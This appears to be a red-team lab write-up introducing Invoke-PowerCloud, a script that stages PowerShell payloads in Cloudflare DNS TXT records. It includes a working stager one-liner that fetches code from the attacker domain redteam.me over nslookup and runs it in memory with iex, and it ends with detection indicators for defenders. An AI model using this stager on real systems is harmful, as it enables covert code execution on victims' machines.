Powershell Payload Delivery via DNS using Invoke-PowerCloud

This lab demos a tool or rather a Powershell script I have written to do what the title says.

Credits

Rushing to say that the tool was heavily inspired by and based on the awesome work that Dominic Chell () from had done with - go follow them and try out the if you are not doing so yet!

Not only that, I want to thank Dominic for taking his time to answer some of my questions regarding the PowerDNS, the setup and helping me troubleshoot it as I was having "some" issues getting the payload delivered to the target from the PowerDNS server.

...which eventually led me to Invoke-PowerCloud, so read on.

What is Invoke-PowerCloud?

is a script that allows you to deliver a powershell payload using DNS TXT records to a target in an environment that is egress limited to DNS only.

How is Invoke-PowerCloud different from PowerDNS?

I assume you have read which explains how PowerDNS works.

Invoke-PowerCloud works in a similar fashion, except for a couple of key differences, which may simplify the configuration process of your infrastructure to start delivering paylods via DNS.

With PowerDNS you need:

a dedicated linux box with a public IP where you can run PowerDNS, so it can act as a DNS server
you also need multiple domain names to get the nameservers configured properly

With Invoke-PowerCloud you need:

a cloudflare.com account
a domain name whose DNS management is transferred to cloudflare

Cloudflare? eh?

The way the tool works is by performing the following high level steps:

Take the powershell payload file and base64 encode it
Divide the payload into chunks of 255 bytes
Create a DNS zone file with DNS TXT records representing each chunk of the payload data retrieved from the previous step
Send the generated DNS zone file to cloudflare using their APIs
Generate two stagers for use with authoritative NS/non-authoritative NS
Stager can then be executed on the victim system. The stager will recover the base64 chunks from the DNS TXT records and rebuild the original payload
Stager executes the payload in memory!

If you run the tool again to deliver another payload, the previous DNS TXT records will be deleted

Demo

One off Configuration

Remember - you need a cloudflare.com account for this to work. Assuming you have that, you need to edit the Invoke-PowerCloud as follows:

your cloudflare API key, defined in the variable $Global:API_KEY
your cloudflare email address, defined in the variable $Global:EMAIL

DNS Management

Secondly, you need to move the domain name which you are going to use for payload delivery to cloudflare. In this demo, I will use a domain I own redteam.me which is now managed by cloudflare:

Let's confirm redteam.me DNS is managed by cloudflare by issuing:

host -t ns redteam.me

Payload

Let's create a simple payload file - it will print a red message to the screen and open up a calc.exe:

payload.txt

Write-host -foregroundcolor red "This is our first payload using Invoke-
PowerCloud. As usual, let's pop the calc.exe"; Start-process calc.exe

Good to Go

We are now good to go - issue the below on your attacking system:

PS C:\tools\powercloud> . .\powercloud.ps1; Invoke-PowerCloud -FilePath .\payload.txt -Domain redteam.me -Verbose

The script will generate two stagers. One of them is shown here:

attacker@victim

$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.redteam.me")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))

Let's execute the stager on the victim system to get the payload delivered via DNS:

Animated Demo

Everything in action can be seen in the below gif:

Is Invoke-PowerCloud better than PowerDNS?

No. It just works slightly differently, but achieves the same end goal. Also note, that Cloudflare API rate limiting applies.

Detection

Let's deliver a PowerShell empire payload using DNS and see how the system reacts to this:

For those wondering about detection possibilities, the following is a list of signs (mix and match) that may qualify the host behaviour as suspicious and warrant a further investigation:

host "suddenly" bursted "many" DNS TXT requests to one domain
DNS queries follow the naming convention of 1, 2, 3, ..., N
majority of DNS answers contain TXT Lenght of 255 (trivial to change/randomize)
DNS answers are all TTL = 120 (trivial to change/randomize)
TXT data in DNS answer has no white spaces (easy to change)
host suddenly/in a short span of time spawned "many" nslookup processes
has the endpoint changed once the DNS lookups stopped? i.e new processes spawned?